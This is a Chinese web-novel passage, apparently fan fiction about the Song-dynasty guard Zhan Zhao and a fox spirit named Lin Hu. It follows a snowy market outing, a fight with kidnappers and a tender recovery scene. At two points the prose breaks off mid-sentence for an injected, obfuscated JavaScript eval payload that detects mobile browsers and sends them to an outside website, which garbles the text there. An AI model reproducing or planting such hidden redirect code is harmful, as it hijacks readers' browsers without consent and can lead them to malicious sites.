“醒了?”她回头时眼里的光比炭火还亮,尾巴尖卷着颗烤裂的栗子递过来,“刚熟的,甜得很。” 展昭接过栗子,指尖被烫得缩了缩。栗子壳裂得像朵花,金黄的果仁冒着热气,甜香混着她身上的草木气,在冷飕飕的屋里漫开。 “怎么不多睡会儿?”他替她擦掉鼻尖的黑灰,指腹触到的皮肤滚烫,“仔细着凉。” “睡不着。”林狐往他怀里钻了钻,尾巴缠上他的腰,毛蹭得他脖子发痒,“听见外面卖糖画的吆喝了,想让你陪我去。” 展昭低头时,正看见她眼里的期待像泡在水里的蜜饯,软乎乎的。他想起昨天公孙策说,州桥边新来个糖画张,能吹十二生肖,尤其狐狸画得活灵活现,“尾巴翘得能勾住人心”。 “穿厚点。”他转身去翻衣柜,从最底层摸出件狐裘斗篷——是上次破获“盗宝案”时,受害人送的谢礼,据说用了七只白狐的皮毛,软得像云。 林狐盯着斗篷上的毛,突然耷拉下耳朵:“我不穿这个。” “怎么了?”展昭把斗篷往她身上披,却被她躲开。 “像剥了我同族的皮。”她的声音闷闷的,尾巴尖在地上扫出浅浅的痕,“我穿你那件灰布袄就好。” 展昭的心突然揪了下。他倒忘了,这小狐狸虽常化人形,骨子里还是护着同类的。他把狐裘放回柜里,换了件半旧的青布棉袍,是去年冬天穿的,袖口磨出了毛边,却带着他常用的皂角香。 “穿这个。”他替她系腰带时,指尖蹭过她的腰,细得像一折就断,“外面雪大,别冻着。” ***州桥边的雪积了半尺厚,踩上去“咯吱”响。卖糖画的张老汉正蹲在小马扎上,手里的糖勺在青石板上游走,金黄的糖丝簌簌往下掉,在雪地里凝成晶亮的网。 “展护卫,林姑娘!”张老汉抬头时,胡子上的糖霜簌簌往下掉,“要个啥?今儿新学了狐狸拜月,保准好看!” 林狐的眼睛亮了,拽着展昭的袖子往前凑:“要那个!要那个!” 张老汉舀了勺糖,手腕转得飞快。金黄的糖丝先勾出个圆脑袋,再弯出条蓬松的尾巴,最后点上两颗黑糖做眼睛——活脱脱就是只蹲在月下的小狐狸,连尾巴尖翘着的弧度都和林狐一模一样。 “真像!”林狐刚要伸手去接,却被展昭拦住。 “烫。”他用指尖捏着糖画的竹签,举到她嘴边,“我拿着,你舔。” 糖霜在舌尖化开,甜得人舌尖发颤。林狐踮着脚,舌头一下下舔着狐狸的尾巴,睫毛上沾着的雪沫子被热气熏化,顺着脸颊往下淌,像掉了串珍珠。 展昭看着她认真的模样,突然觉得这寒冬腊月的风都带上了甜味。他想起在青州库房里,她也是这样踮着脚,用舌尖舔掉他嘴角的糖渣,温热的触感像团小火苗,烧得他心头发烫。 “展护卫,瞧这小两口亲的!”旁边卖热汤的王婆笑着搭话,木勺在铜锅里搅出“咕嘟”声,“林姑娘生得俊,跟画里走出来的似的。” 林狐的脸“腾”地红了,往展昭身后缩了缩,尾巴尖在他棉袍上扫来扫去。展昭的耳尖也热了,却挺直了腰板,从钱袋里摸出两文钱递给张老汉:“再来个兔子的。” “给我?”林狐抬头时,眼里的光比糖画还亮。 “嗯。”展昭把兔子糖画塞给她,指尖故意碰了碰她的手心,“看你刚才盯着兔子糖画流口水。” “我才没有!”林狐气鼓鼓地咬了口兔子的耳朵,糖渣掉在围巾上,像撒了把碎金,“是你自己想吃吧?” 两人正拌着嘴,突然听见一阵哭嚎。个穿红棉袄的小丫头蹲在雪地里,手里的糖老虎摔成了两半,眼泪混着鼻涕往冻红的脸蛋上抹,像只被雨淋湿的小兽。 “我的老虎……我的老虎……”小丫头哭得抽噎,辫子上的红绒球跟着抖。 林狐看了眼自己手里的狐狸糖画,突然往张老汉那边跑:“张爷爷,能把这个给她吗?” 张老汉愣了愣,随即笑了:“傻丫头,给了她你咋办?” “我再要一个!”林狐回头时,正看见展昭掏出钱袋,眼里的光比雪光还暖。 小丫头捧着狐狸糖画,破涕为笑,奶声奶气地说:“谢谢姐姐!” 林狐的尾巴在裙摆下得意地晃了晃,刚要说话,却被展昭拽住了手。他的掌心滚烫,裹着她的小手往街角走,声音压得很低:“风大了,去那边的茶馆暖暖。” ***茶馆里飘着股炒茶的焦香,混着煤烟味,是市井里独有的暖。跑堂的小二穿着件打补丁的蓝布褂,肩上搭着块油乎乎的白毛巾,嗓门亮得像铜锣:“客官里面请!刚沏的龙井,热乎着呢!” 两人找了个靠窗的位置坐下,窗外的雪还在下,把州桥的石狮子盖得像团白绒球。展昭刚要叫茶,林狐突然按住他的手,鼻尖往邻桌探了探。 “那桌的人不对劲。”她的声音压得像蚊子哼,尾巴尖在他膝头轻轻点着,“身上有血腥味,藏在羊肉汤的膻味底下。” 展昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268141|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的目光不动声色地扫过去。邻桌坐着两个汉子,穿着粗布短打,袖口沾着泥,正埋头喝羊肉汤,喉结滚得飞快,却没怎么嚼肉——是心里有事的模样。 “别动声色。”展昭给她倒了杯热茶,水汽模糊了他的眉眼,“看看他们要去哪。” 林狐捧着茶杯,指尖在杯沿画圈,眼睛却一直瞟着那两个汉子。其中一个往窗外看时,腰间的刀鞘露了出来,上面刻着个歪歪扭扭的“狼”字——是“狼牙帮”的记号,公孙策说过,这伙人专在汴京周边绑票,心狠手辣。 “他们要走了。”林狐突然拽了拽他的袖子,“往西边去了,那边是贫民窟,肯定没好事。” 展昭付了茶钱,拉着林狐跟出去。雪地里的脚印歪歪扭扭,像两条蛇往贫民窟的方向爬。林狐的尾巴在裙摆下绷得笔直,像根蓄势待发的箭。 “你在这儿等着。”展昭在她耳边低语,指腹蹭过她冻红的耳垂,“我去去就回。” “我跟你一起。”林狐攥紧了他的手,指尖的冰凉透过棉手套传过来,“我的鼻子能帮你找人。” 展昭看着她眼里的倔强,突然笑了。这小狐狸总爱逞强,却不知道他最怕的就是她出事。他从怀里摸出枚铜钱,塞进她手里:“听话。若半个时辰我没回来,就去开封府找白玉堂,他知道该怎么做。” 林狐的眼眶突然红了,把铜钱攥得死紧,铜边硌得手心生疼:“你一定要回来。” “嗯。”展昭揉了揉她的头发,转身钻进了贫民窟的巷口,青布棉袍的影子很快被雪吞没。 林狐蹲在巷口的老槐树下,雪花落在她的发间,很快积成了白。她把脸埋进膝盖,尾巴紧紧缠着手腕,那里还残留着展昭的温度。 她想起在青州的枯井边,他也是这样把她护在身后;在御花园的火海里,他抱着她往安全的地方冲;在开封府的深夜里,他会把她冰凉的脚揣进怀里暖着…… “展昭,你快点回来啊。”她对着巷口小声说,声音被风吹得散,“我还等着跟你分兔子糖画呢。” 巷子里突然传来打斗声,兵器相撞的脆响混着闷哼,像冰锥扎在心上。林狐猛地站起身,青灰色的身影刚要往巷里冲,却被一只手拽住了。 回头一看,是个穿破棉袄的小男孩,冻得鼻涕直流,手里举着个捏扁的糖人:“姐姐,你是在找那个穿青袍子的哥哥吗?他让我把这个给你。” 小男孩手里的是枚开封府的腰牌,上面刻着“展昭”二字,边角还沾着点血——是新鲜的红,像雪地里绽开的梅。 林狐的腿一软,差点坐在雪地里。她攥着腰牌,指腹抚过那两个字,突然往巷里冲,青灰色的尾巴在雪地里拖出条长长的痕。 她不知道等待她的是什么。 她只知道,她要去找他。 哪怕前面是刀山火海,她也得找到他。 50. 青狐暖榻,剑穗缠心(下) 贫民窟的巷像条冻僵的蛇,弯弯曲曲藏在雪地里。 林狐的爪子在雪地上刨出浅坑,青灰色的皮毛被寒风刮得贴在身上,却感觉不到冷。耳朵里全是自己的心跳,“咚咚”的声儿盖过了远处的打斗,像面破鼓在敲。 “展昭!展昭!”她的声音在巷子里撞来撞去,碎成一片一片,混着雪沫子往天上飘。 转过第三个弯时,血腥味突然浓得呛人。 展昭靠在斑驳的土墙上,青布棉袍被血浸透了大半,嘴角挂着血丝,手里的巨阙剑插在雪地里,剑柄还在微微颤。三个狼牙帮的汉子倒在他脚边,胸口都有个窟窿,血在雪地里漫开,像幅诡异的画。 “你怎么来了?”他抬头时,睫毛上的雪沫子簌簌往下掉,声音哑得像被砂纸磨过。 林狐扑过去,爪子在他胸口的伤口上乱蹭,却被他抓住了爪腕。他的手心滚烫,指缝里全是血,染红了她的白毛。 “别动。”他笑了笑,嘴角的血丝又涌出来,“一点小伤,不碍事。” “都流血了还说不碍事!”林狐变回人形,眼泪混着雪落在他脸上,“你说过会回来的……你说过要陪我吃兔子糖画的……” “哭什么。”展昭替她擦掉眼泪,指腹的粗糙蹭得她脸颊疼,“我这不是没事吗?” 他刚要站起身,却突然闷哼一声,往墙上滑去。林狐赶紧扶住他,才发现他后背的伤口更深,血把棉袄浸得像块吸饱了水的海绵,往下滴着红珠子。 “撑住。”林狐咬着牙,把他的胳膊架在自己肩上,“我带你回去找公孙先生,他肯定有办法。” 展昭的头靠在她发顶,呼吸带着血味,却忍不住笑:“你这小身板……能背得动我?” “能!”林狐的腿在打颤,却把腰挺得笔直,“我是青丘来的狐狸,力气大着呢!” 她背着他往巷口走,雪地里的脚印深一个浅一个,像串歪歪扭扭的糖葫芦。展昭的剑穗在她腰间扫来扫去,带着他的血,在雪地上拖出条红痕。 “放我下来吧。”他在她耳边低语,热气拂过她的耳廓,“我自己能走。” “不要。”林狐的声音带着哭腔,却异常坚定,“你要是再流血,我就……我就再也不给你舔伤口了!” 展昭的心突然软得像化了的糖。他想起每次受伤,这小狐狸都会变回原形,用舌头小心翼翼地舔他的伤口,说“狐狸的口水能消炎”,其实是怕药太苦他不肯敷。 快到巷口时,突然听见马蹄声。白玉堂骑着踏雪无痕冲过来,白衣在雪地里像道闪电,看见他们时,脸色瞬间沉了下去。 “展小猫!你他娘的作死啊!”他翻身下马,一把接过展昭,手指探到他的脉搏时,眉头皱得像个疙瘩,“公孙先生!快!” 公孙策从后面的马车里钻出来,药箱上的铜锁在雪光下闪着冷光:“还愣着干啥?快上车!” 马车里铺着厚厚的毡子,公孙策撕开展昭的棉袄时,林狐别过了脸。伤口狰狞得像条翻过来的蛇,红肉外翻着,沾着雪粒,看得人头皮发麻。 “忍着点。”公孙策往伤口上撒草药,展昭的身子猛地一颤,却没吭一声,只是把目光落在林狐身上。 林狐的手紧紧攥着他没受伤的那只手,指尖的冰凉让他清醒了些。他看着她眼里的红,突然想起刚才在巷子里,她像只疯了的小兽扑过来,青灰色的尾巴上沾着雪和血,却还是拼命想护着他。 “没事了。”他用尽全力挤出个笑,“你看,我这不是还活着吗?” 林狐没说话,只是把他的手贴在自己脸上,眼泪像断了线的珠子,砸在他的手背上,烫得他心头发紧。 ***开封府的卧房里,药味浓得化不开。 展昭躺在床上,脸色还是白的,却比昨天好多了。林狐趴在床边,青灰色的尾巴盖在他的手背上,像条暖乎乎的小毯子。 “醒了?”她抬头时,眼里的红还没消,“公孙先生说你醒了就能喝粥,我让厨房炖了燕窝粥,加了冰糖的。” 展昭刚要说话,就见白玉堂掀帘进来,手里拎着个食盒,白衣上绣着新的竹叶,是苏婉清派人从青州送来的,说“白五爷穿白的最好看”。 “哟,这就喂上了?”白玉堂把食盒往桌上一放,“公孙先生让我来看看,某人是不是又在借机占便宜。” 林狐的脸“腾”地红了,往展昭身后缩了缩。展昭瞪了白玉堂一眼,声音还有点哑:“有事说事,没事滚。” “没劲。”白玉堂从食盒里掏出个油纸包,“苏婉清寄来的杏仁酥,说给林姑娘补补。” 林狐接过油纸包,鼻尖立刻闻到股甜香,混着苏婉清身上常用的杏仁油味——是青州的特产,比汴京的芝麻油香得醇厚。 “谢谢白五爷。”她往展昭嘴里塞了块杏仁酥,碎屑掉在他的下巴上,像撒了把金粉。 白玉堂看着他们腻歪的模样,突然觉得牙酸:“行了行了,我走了,免得碍眼。对了,狼牙帮的余党都抓了,招认说想绑州桥边的富商,被你撞破才动手的。” “知道了。”展昭的手在林狐的发间穿梭,指尖缠着她的一缕头发,绕成个小小的圈。 白玉堂走后,屋里突然静了下来,只有炭火在盆里“噼啪”响。林狐趴在床边,看着展昭下巴上的碎屑,突然凑过去,用舌尖轻轻舔掉。 温热的触感像羽毛搔过心尖。展昭的喉结滚了滚,伸手按住她的后颈,把她往自己身边带了带。 “别闹。”他的声音哑得厉害,指腹摩挲着她颈后的软毛。 林狐却没停,舌尖从他的下巴往上移,舔过他的唇,带着杏仁酥的甜。展昭的呼吸突然乱了,反客为主地加深了这个吻,像要把她揉进骨血里。 窗外的雪还在下,把开封府的屋檐盖得像层奶油。林狐的尾巴在他腰上缠得越来越紧,像条打了死结的绸带。 她能闻到他身上的药味,混着淡淡的血腥,却奇异地让人心安。就像每次他受伤后,她守在床边闻到的味道一样——是属于他的,带着生命力的味道。 “展昭……”她的声音在吻里碎成星子,指尖攥着他的衣襟,布料被她揪出褶皱,“以后别再这样了。” 展昭松开她时,两人的呼吸都带着颤。他看着她泛红的眼角,鼻尖的红,还有被吻得发肿的唇,突然觉得胸口的伤口都不疼了。 “好。”他用指腹轻轻擦过她的唇,那里还残留着杏仁酥的甜,“以后听你的。” 林狐的尾巴尖在他腰上轻轻扫了扫,像在确认他说的是实话。她往他怀里钻了钻,耳朵贴在他的胸口,听着他沉稳的心跳,一下一下,像打更的鼓点,让人踏实。 “你的心跳好有力。”她的声音闷闷的,带着点鼻音,“比我在青丘听到的任何声音都好听。” 展昭低笑,胸腔的震动透过皮肤传过去,让她的耳朵微微发麻。他想起她说过,青丘的夜晚只有风声和狐鸣,安静得能听见月光落在树叶上的声音。 “那以后,你就天天听着。”他的手在她的发间穿梭,指尖缠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268142|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她的一缕头发,绕成个小小的圈,“听到老。” 林狐的脸瞬间红了,像被炭火烤过的山楂。她往他怀里钻得更深,把脸埋在他的颈窝,鼻尖蹭着他的皮肤,那里的温度烫得她心尖发颤。 “谁要跟你听到老……”她的声音细若蚊蚋,却带着藏不住的甜。 ***傍晚时,雪停了。 夕阳把开封府的屋檐染成金红色,雪地里的反光晃得人睁不开眼。公孙策拎着药箱进来时,正看见林狐趴在展昭的胸口,青灰色的尾巴像条毯子,盖着两人交握的手。 “咳咳。”老夫子故意咳了两声,镜片后的眼睛笑成了条缝,“看来某只小狐狸把我的话当耳旁风了,我说让展护卫多休息。” 林狐“腾”地坐起来,脸红得像熟透的苹果,尾巴尖在身后慌乱地晃着。展昭的眼里也带着笑意,拍了拍她的手背,示意她别怕。 “恢复得不错。”公孙策给展昭诊脉时,手指搭在他的腕上,眉头渐渐舒展开,“再歇个三五日,就能下床走动了。” “谢谢公孙先生。”林狐端过桌上的燕窝粥,用小勺搅了搅,“我喂他。” 公孙策看着她笨拙却认真的模样,突然想起刚认识这小狐狸的时候。那时她还总躲在展昭身后,见了生人就往他怀里钻,尾巴绷得像根弦。 “女大不中留啊。”老夫子摇着头往外走,走到门口时突然回头,“对了,州桥的糖画张托人送了幅糖画来,说是赔给林姑娘的,昨天那幅被狼牙帮的人撞碎了。” 林狐的眼睛亮了,跑到门口一看,托盘里摆着幅糖画——是只狐狸和个佩剑的男子,狐狸的尾巴缠着男子的手腕,男子的手摸着狐狸的头,在夕阳下闪着金红的光。 “真像。”她捧着糖画跑回来,献宝似的举到展昭面前,“你看,张爷爷画得好不好?” 展昭看着糖画上的两人,突然笑了。他伸手接过糖画,用指尖碰了碰狐狸的尾巴,那里的糖霜甜得发腻,像他们此刻的心情。 “好。”他的声音里带着化不开的温柔,“等我好了,我们再去让张爷爷画一幅,画我们俩在青丘看月亮。” 林狐的眼睛瞬间湿了,像落了两颗星星。她知道,他记着她说过的每一句话——她说青丘的月亮又大又圆,说青丘的狐狸会在月下跳舞,说她想家的时候,就对着月亮哭。 “嗯。”她重重地点头,往他怀里靠了靠,“还要画我们在汴京看雪,画我们在开封府晒太阳,画……画好多好多。” 展昭的手紧紧搂着她,下巴抵在她的发顶。夕阳透过窗棂照进来,在他们身上投下长长的影子,像两个依偎在一起的剪影,再也分不开。 他知道,未来的路还很长,或许还会有风雨,还会有凶险。但只要身边有这只小狐狸,有她的笑,她的闹,她青灰色的尾巴缠着他的手腕,他就什么都不怕。 窗外的麻雀叽叽喳喳地落在树枝上,啄着上面的雪粒。远处传来打更人的梆子声,“咚——咚——”,敲在寂静的暮色里,也敲在两颗紧紧相依的心上。 林狐往展昭怀里钻了钻,听着他沉稳的心跳,嘴角露出了甜甜的笑。她的尾巴在他的腰上缠得更紧了,像个永远不会解开的结。 她想,就这样吧。 就这样,和他一起,从汴京的冬雪,走到青丘的秋月,走到时光的尽头。 只是,她没注意到,展昭的指尖在她的发间轻轻画着一个字。 像一个藏了很久很久的秘密。 (全文完)